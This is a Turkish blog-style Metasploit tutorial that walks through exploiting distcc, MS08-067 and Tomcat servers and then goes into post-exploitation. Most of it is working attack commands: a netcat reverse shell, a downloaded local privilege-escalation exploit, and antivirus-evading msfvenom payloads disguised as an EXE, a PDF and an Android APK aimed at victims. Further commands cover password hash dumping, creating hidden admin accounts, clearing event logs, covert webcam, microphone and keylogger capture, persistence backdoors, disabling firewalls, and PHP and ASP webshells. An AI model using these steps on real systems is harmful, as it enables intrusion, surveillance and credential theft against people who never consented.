MetaSploit

6.Metasploit

Öncelikle metasploit nedir ? Tarafınıza bundan bahsetmek istiyorum.  Metasploit güvenlik açıkları hakkında tarafımıza bilgi vermesi amaçlı , açıkları arayabilmemize ve pentestlerde kullnabilmemiz amacıyla kullandığımız bir programdır. Açık kaynak kodlu bir programdır ve penetrasyon testlerinde olmazsa olmazlardandır. Metasploit içinde binlerce exploit, auxiliary,payload,encoder bulundurur. Hedef sistemler üzerindeki zafiyetleri sömürmek amacıyla kullanılır. Tabi birde terimlerden tarafınıza bahsedeyim. 

Exploit : Hedef aldığımız sistem üzerinde bulunan servisleri , versiyonları üzerinde bulunan açıkları kullanarak hedef sistem üzerinde ki güvenlik açığıdır.

Auxiliary : Exploit servislerini kullanmadan önce hedef sistem üzerinde aktif ve pasif bilgi toplayacağımız malware’dir.

Payload : Exploit işlemlerini gerçekleştirir iken hedef sisteme doğrudan erişim sağlamayı ve istediğimiz işlemleri kullanmak için kullanacağımız bir malwaredir. Buna örnek olarak da meterpreter komutlarını verebiliriz. Yani hedef sistemin açığına eriştikten sonra hedef üzerinde yapacağımız işlemlere payload diyebiliriz. 

Encoders : Exploit işlemlerini gerçekleştir iken hedef sistemin önünde bulunan , IDS, IPS veya Firewall var ise exploit komutlarını yakalamaması için kullanacağımız malwaredir. 

Metasploit’i açtığınız zaman her zaman yardım komutları ile ilerlemenizde fayda vardır. Öncelikli olarak ? veya help  yazarak kullanmamız gereken komutları görebilirsiniz. Bizim çoğunlukla kullanacağımız komutlar search, , use , show options , set , check , run , exploit , payload  gibi komutlar olacak. 

6.1 Metasploit ile Linux Hacking

Hedef sistemi nmap ile tarayarak hizmet veren servisleri ve versiyon bilgilerini ögreniriz. Daha sonar google vs arama araçları ile servislerin o versiyonlarının açıklıklarını arayabiliriz. Daha sonar bukduğumuz açıklıkların cve numaralarını kullanarak metasploit programı ile bu açıklıkları exploit edebiliriz  yani sömürebiliriz.

Nessus,NETSPARKER,W3AF,VEGA gibi araçlar ile açıklıkları tarayıp yine bulduğumuz açıklıkların cve numaralarını metasploitte kullanarak bu açıkları sömürebiliriz.

Nmap aracı ile yaptığımız taramalarda bulduğumuz servislerin versiyonlarına gore hangi açıklıkları varsa bunları http://www.cvedetails.com/ ve http://www.exploit-db.com/ adreslerinden arayabiliriz.

Metasploit’in servislerini çalıştırmak için ;

/etc/init.d/postgresql start
/etc/init.d/metasploit start

nmap -sT -sV -n -v -Pn [Hedef ip] -p 3632
#İlk once nmap ile hedef sistemin 3632 portu taranarak distcc servisinin çalışıp çalışmadığı kontrol edilir.

msfconsole
search distcc
use exploit/unix/misc/distcc_exec
set RHOST [Hedef ip]
set payload cmd/unix/bind_ruby
exploit 

#metasploit komut arayüzüne geçerek distcc ile ilgili exploit aranır ve bulunan modül ile hedef sistem exploit edilir.

MetaSploit MetaSploitMetaSploitMetaSploit

Hostname
ifconfig
whoami

#Tarzı komutları hedef sistemde kullanarak sonuçları görebilirsiniz. Ama bu sisteme eriştiğimiz komutlar sınırlı bir kullanıcı ile girişi olduğu için tam yetkilerimiz tarafımızda olmayacak bunun için belirli scriptler indirip çalıştırmamız gerekecek.

wget –no-check-certificate http://www.exploit-db.com/download/8572 -O exploit-8572.c  (Exploit scripti indirdik)
gcc exploit-8572.c -o exploit-8572  (Kurarak işlemi bitiriyoruz.)
#Bu komut ile yeni bir script indirebilirsiniz.

MetaSploitMetaSploit

Netcat –vlp 4444

#Yeni bir terminal açılarak netcat komutu girilir. Bu komut 4444 portu sunucumuz dinlemeye alır.

echo ‘#!/bin/sh’ > /tmp/run
echo ‘/bin/netcat -e /bin/sh 192.168.1.* 4444’ >> /tmp/run
ps -eaf | grep udev | grep -v grep
root      3057     1  0 08:38 ?        00:00:00 /sbin/udevd –daemon
./exploit-8572 3056


##/tmp/run dosyasına gerekli bilgiler eklenir.(192.168.1.* kali sunucu ipsi).
##ps -eaf komutu ile sürecin pid değeri öğrenilir(3057).Daha sonra ./exploit çalıştırılırken bu pid değerinin bir ##küçük değeri exploite parametre olarak verilirek(3056)  exploit çalıştırılır. ( Yani açıkcası hackledigimiz linux makine’den kaliye yetki veriyoruz.)

Netcat komutu çalıştırdığımız diğer terminalde artık root kullanıcı ile oturum açtığımız için istediğimiz her komutu çalıştırabiliriz.

MetaSploitMetaSploit

6.2 Remote Exploit- Metasploit ile Windows SMB-08-067 Güvenlik Exploit edilmesi

Msfconsole
#
İlk once metasploit arayüzüne geçeriz.

Search  ms08-067
#
Metasploit veritabanında cve numarası ile sömürmek istediğimiz açığın sömürürken kullanacağımız modülü ararız.

Use exploit/windows/smb/ms08_067_netapi
Show options
#
Bulduğumuz modülün kullanımı ile ilgili bilgilere erişiriz.

Set RHOST [hedef ip]
exploit
#
Hedef sistemin ip bilgilerini girip exploiti başlatırız. Daha sonar meterpeter oturumunu elde ederiz.

Getuid
#Sunucu  ismini ögreniriz.

Ipconfig
#Sistem ip bilgisini elde ederiz.

Sysinfo
#Sistem hakkında bilgi elde ederiz.

Run hashdump
#Sistemdeki kullanıcıların şifrelerinin hashlerini elde edebiliriz.

Shell
net user Suat sifresuat /add
net user Suat /active:yes
net localgroup administrators Suat /add


#Windows shelle geçeriz ve yeni bir kullanıcı oluşturup bunu aktif hale getirirek admin yetkisi veririz.

Msfconsole

Search psexec
use exploit/windows/smb/psexec

Set RHOST [hedef ip]

Set SMBUser Suat
set SMBPass [HASHING KOMUDU]

Exploit

#Aldığımız hash passwordler ile exploit’de giriş yapabiliriz. Daha önce bulduğumuz şifre hash’i ile  hedef sisteme erişebiliriz.

6.2 Örnekleri

6.3 Metasploit ile Backdoor Özelliği olan War Dosyası Oluşturma ve Apache Tomcat Sunucusunun Exploit Edilmesi

Metasploit ile Java ile gelişitirilmiş web uygulamalarında kullanılan .war uzantılı ajan oluşturabiliriz. Oluşturudğumuz war uzantılı dosyayı yönetim paneline erişebildiğimiz bir tomcat sunucusna deploy ederek web sunucusunu ele geçirebiliriz.

Nmap –sS –sV –n –v –Pn [Hedef ip] –p 8180
# İlk once nmap ile tarama yaparak apache tomcat kurulu olan web sunucularını buluyoruz.

Msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS [hedefip]
set RPORT 8180
exploit
#Metasploitin tomcat_mgr_login modülünü kullanarak apache tomcat sunucusuna brute force atağı yaparız.

Msfvenom –l
#Msfpayload –l parametresi ile kullanabileceğimiz payloadları görebiliriz.

msfvenom -p linux/x86/shell/reverse_tcp LHOST=kali sunucu ip  LPORT=4444 -f war > Suat.war 
jar –xvf Suat.war
#Lhost parametresine kali sunucunun ipsini ekleyerek war uzantılı ajan dosyasını oluşturuyoruz.

#Oluşturduğumuz Suat.war dosyasının içinde nzwilvqvmef.jsp dosyası mevcut bu dosyayı apache tomcat sunucusuna deploy ediyoruz.

#Dosyayı deploy ettikten sonar tarayıcıda http://[Hedefip]:8180/Suat/nzwilvqvmef.jsp yazdığımızda artık web sunucusuna açtığımız reverse tcp bağlantısı ile root ile erişim sağlamış oluruz.

Nc –l –v –p 4444
#Netcat programını çalıştırarak oluşturduğumuz ajan dosyası ile reverse tcp bağşantısını açarız.

6.3 Örnekleri

6.4 Antivirus Programlarına Yakalanmayan Ajan Oluşturulması

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 LHOST=kali sunucu ip LPORT=4444 -f exe -o /root/Desktop/kampanya.exe
#-i ile kaç kere encode edileceğini seçiyoruz.
#-e parametresi ile encode methdunu seçiyoruz.

Msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
show options
set LHOST [kendi ip]
[kendi ip]
exploit
#Meterpeter oturumu için metasploitin multi/handler modülünü kullanabiliriz.
#Exe’yi açan kurban makinenin komut satırına erişebiliriz.

6.5 Metasploit ile Zararlı kod barındıran PDF oluşturma

Use exploit/windows/fileformat/adobe_pdf_embedded_exe
set TARGET  0
set PAYLOAD windows/meterpeter/reverse_tcp
set LHOST [Kendi ip]
exploit
#Malware yazılım içeren sahte pdf hazırlayarak kurbana bu pdf dosyasını açmasını sağlarsak eğer hedef system üzerinden meterpeter oturumu elde edebiliriz.
#Set infilename dersnotları.pdf diyerek template olarak kendi pdfimizinde kullanılmasını sağlayabiliriz. (Bu pdfin adobe reader 9 ve eski bir versiyonla oluşturulmuş olması gerek.
#Kurbanın etkilenmesi için kullandığı adobe reader versiyonun 9.3.2 veya daha düşük bir versiyon olması lazım.

Use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
set LHOST [KENDİ İP]
[KENDİ İP]
exploit
#
Kurban pdf’e tıkladığında meterpeter oturumunu elde ederiz.

 

6.6 NMAP / NESSUS Çıktılarının Metasploit ile Kullanımı

/etc/init.d/postgresql start
su postgres
/root$ psql
/password
/q
#Postgresql servisini başlatırız ve root şifresi oluştururuz.

Nmap –sS –sV  –Pn [hedef ip] –oX  nmapciktisi.xml
#Nmap k ullanırken –ox parametresini kullanarak çıktının xml formatlı bir dosyaya kaydedilmesini sağlarız.

Msfconsole
db_connect postgres:sifre@127.0.0.1/testdb
#Daha once oluşturduğumuz şifreyide kullanarak testdb’yi oluştururuz.
db_import /root/nmapciktisi.xml
#
Nmap çıktısını dbtest veritabanına import ederiz.
hosts –u
#açık olan sunucular listeleyebiliriz.
services –p 445,21 –u
445 ve 21 portu açık olan sunucuları listeleyebiliriz.

6.6 Örnekleri

6.7 Armitage Kullanımı

Metasploit aracını grafik arabirimi ile kullanmak isterseniz armitage toolunu kullanabiliriz.

Çalıştırmak için öncelikle
/etc/init.d/postgresql start
/etc/init.d/metasploit  restart

ama artık artık servisleri kendisi başlattığı için bu servislere gerek duyulmasına gerek yok. Armitage açtığınız zaman eğer ki veritabanı problemi ile karşılaşıyorsanız. msfdb init yazarak bu veritabanı problemini ortadan kaldırabilirsiniz. 

armitage

MetaSploit

MetaSploit

6.8 Metasploit ile Android Hacking

msfvenom -p android/meterpreter/reverse_tcp LHOST=[kendi ip] LPORT=443 -o   /root/Desktop/Suat.apk
#LHost parametresine kali sunucunun ip’sini yazarak android cihazlar için ajan dosyası oluştururuz.

Msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost [kendi ip]
set lport 443
exploit
#Meterpreter oturumu elde etmek için metasploitin handlerini kullanırız.
#Kurban artık yolladığımız apk uzantılı uygulamayı açarsa meterpereter oturumunu elde ederiz.

MetaSploit

6.9 Meterpreter Oturumunda Kullanılabilecek Komutlar

Ipconfig –a
//Hedef system üzerinde ip bilgilerini ögrenmek için kullanılabilir.

Sysinfo
//Hedef system hakkında bilgi alınır.

Getuid
//Hangi kullanıcı ile erişim yapıldığını gösteriri.

Getpid
//Mevcut system pid numarasını gösterir.

Run hashdump
//hedef sistemdeki kullanıcıların şifre hashlerini elde edilir.

Shell
net user test sifre /add
net user test /active:yes
net localgroup Administrators test /add
//Shell komutu ile windows shell’e geçeriz daha sonar komut arayüzünden iken net komutu ile yeni kullanıcı oluşturabiliriz.

Clearev
//Hedef sistemdeki event loğlarını silmek için kullanabiliriz.

Run event_manager –c
//
Hedef sistemdeki event logları silmek için bu komutuda kullanabiliriz.

Screenshot –p /root/ekrangoruntusu.jpeg –q 60
//Screenshot komutu ile hedef sistemin ekran goruntusunu alabiliriz.

Record_mic –d 60 –f /root/seskaydi.wav
//
record_mic komutu ile hedef sistemin etkin olan mikrofonunu kullanarak ortam dinlemesi yapılabilir.

Webcam_list
//
Hedef sistemdeki kameralar listelenir.

Webcam_snap –p/root/kameragoruntusu.jpeg –q 60 –v false
//hedef sistemin webcami kullanılarak goruntuler alınır.

Pwd
//Bulunulan dizinin ismini verir.

Run keylogrecorder
//
Hedef sisteme keylogger yükleyebiliriz.

Cat /root/.msf4/logs/scripts/keylogrecorder/[HEDEFİP]_1212122.txt
//
Keyloggerı hedef sistemde çalıştırdıktan sonar kaydedilen dosyayı hedef sistemle ilgili bilgileri görebilirsiniz.

6.9 Örnekleri

6.9.1 Run Komutu İle Kullanabilecegimiz Scriptler

/opt/framework/msf3/scripts/meterpreter dizini altında bulabiliriz.

Run winenum
//winenum scriptini ; hedef windows system üzerinde çalıştrabileceğimiz bir çok komutu otamatik çalıştırarak sonuçları bir dosyaya kaydeder. Böylelikle otamatik şekilde gerekli bilgileri elde edebiliriz.

Upload /root/dosya c:/Windows
//Hedef sisteme kali sunucudan dosya upload edebiliriz.

Download  f:\\iplisteleri.txt /root/
//Hedef sistemde istediğimiz bir dosyayı kali sunucuya indirebiliriz.

Rung get_application_list
//Hedef sistemdeki tüm uygulamaların ve versiyon bilgileri ögrenmek içinbu scripti kullanabiliriz.

Run getgui –u suat –p 12345
//Getgui scriptini kullanarak belirttiğimiz kullanıcı rdp hakkı ile birlikte oluşturur.Artık bu kullanıcı ile rdp yapabiiriz.

Cat /root/sahtehostdosyasi.txt

 


run hostedit –l rootsahtehostdosyasi.txt
//
İlk once kali komut arayüzdeyken sahtehosdosyasi oluşturulur sonar hostedit scripti ile bu dosyayı belirterek hedef sistemin host dosyası değiştirilmiş olur.
//Artık hedef sistemdeki kullanıclar host’a erişecekler.

Run scraper
//Hedef makinada üzerinde otomatik bilgi toplamak için kullanılabilir.

Run metsvc
//Hedef sistemde kalıcı arka kapı bırakmak için kullanılır.

Cat/root/command.txt

Run multiscript –rc /root/command.txt
//
Birden fazla komutu dosyaya kaydederek multiscript isimli script ile çalıştırabiliriz.

Run getcountermeasure
//Hedef sistemde ki güvenlik duvarını kapatmak için kullanılır.

Run getgui –e
//
Hedef sistemde rdp’yi enable etmek için kullanılır.

6.9.1 Örnekleri

6.10 Antivirüsler Tarafından Yakalanamayan Php Shell Oluşturulması

Hedef Web Sunucuda (Apache-php) eğer  Dosya yükleme hakkı elde edersek , antivirüsler tarafından yakalnamayan php shell dosyası kullanarak hedef web sunucuyu ele geçirebiliriz.

Weevely generate Suat123 sh.php
#weevely komutu ile sh.php adında ve Suat123 şifresiyle bir php shell oluştururuz.
#Daha sonar dosya yükleme yetkisi elde ettiğimiz web sunucuna bu php shell dosyasını atarız.

Weevely http://[siteipsi]/sh.php Suat123
#Oluşturduğumuz php shell dosyasını web sunucusuna attıktan sonra hedef web sunucusundan shell elde etmek için tekrar weevely komutunu kullanırıız.

:help
#Shell elde ettikten sonra :help komutu ile kullanabilecegimiz modülleri görebiliriz.

Eğer weevely başarılı olmazsa tek satırlık php shellleri çalıştırmayı deneybiliriz.
http://{siteipsi]/sh.php

http://[siteipsi]/sh.php

http://[siteipsi]/sh.php

MetaSploit

MetaSploit

6.11 Antivürsler Tarafından Yakalanamayan ASP Shell Oluşturulması

Hedef Web Sunucuda (IIS-windows) eğer Dosya yükleme hakkı elde edersek , antivirüsler tarafından yakalanamayan asp shell dosyası kullanarak hedef web sunucuyu ele geçirebiliriz.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali-sunucu-ipsi LPORT=443 -e x86/shikata_ga_nai -i 5 -f asp -o /root/Desktop/sh.asp
 #msfpayload komutu ile antivirüsler tarafından yakalanamayan asp shell oluşturulur ve dosya yükleme  hakkımız olan web sunucuna yüklenir.

MetaSploit

 Msfconsole
use exploit/multi/handler
set PAYLOAD Windows/meterpreter/reverse_tcp
set LHOST [kendi ip]
set LPORT 443
exploit
#Asp Shell dosyası web sunucusuna yükledikten sonra dosya tarayıcı ile çalıştırılır.
Dosya çalıştırıldıktan sonra meterpreter oturumu elde edilir.

You may also like...

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir